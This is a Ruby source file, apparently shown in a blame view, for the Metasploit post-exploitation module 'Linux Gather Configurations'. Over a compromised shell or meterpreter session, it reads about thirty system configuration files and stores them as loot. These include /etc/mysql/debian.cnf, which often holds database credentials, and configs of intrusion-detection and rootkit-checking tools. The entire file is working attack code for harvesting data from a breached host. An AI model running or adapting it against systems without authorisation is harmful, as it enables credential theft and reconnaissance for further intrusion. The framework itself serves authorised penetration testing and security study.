metasploit-framework/modules/post/linux/gather/enum_configs.rb

81 lines
2.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2014-02-14 14:32:21 +00:00
include Msf::Post::Linux::System
2013-09-05 18:41:25 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Configurations',
'Description' => %q{
This module collects configuration files found on commonly installed
applications and services, such as Apache, MySQL, Samba, Sendmail, etc.
If a config file is found in its default path, the module will assume
that is the file we want.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ohdae <bindshell[at]live.com>',
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
2013-09-05 18:41:25 +00:00
))
end
2013-08-30 21:28:54 +00:00
def run
distro = get_sysinfo
h = get_host
print_status("Running module against #{h}")
print_status("Info:")
print_status("\t#{distro[:version]}")
print_status("\t#{distro[:kernel]}")
2012-03-17 08:14:26 +00:00
2013-08-30 21:28:54 +00:00
vprint_status("Finding configuration files...")
find_configs
end
2013-08-30 21:28:54 +00:00
def save(file, data, ctype="text/plain")
ltype = "linux.enum.conf"
fname = ::File.basename(file)
loot = store_loot(ltype, ctype, session, data, fname)
print_status("#{fname} stored in #{loot.to_s}")
end
2013-08-30 21:28:54 +00:00
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
2015-06-29 14:55:18 +00:00
host = cmd_exec("hostname").chomp
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
return host
end
2013-08-30 21:28:54 +00:00
def find_configs
configs =[
"/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf",
"/etc/snort/snort.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf",
"/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells",
"/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf",
"/etc/gated.conf", "/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf",
"/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf",
"/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf",
"/etc/cups/cups.conf", "/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf",
"/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf",
"/etc/snmp/snmp.conf"
]
2013-08-30 21:28:54 +00:00
configs.each do |f|
output = read_file("#{f}")
save(f, output) if output && output !~ /No such file or directory/
2013-08-30 21:28:54 +00:00
end
end
2012-03-18 05:07:27 +00:00
end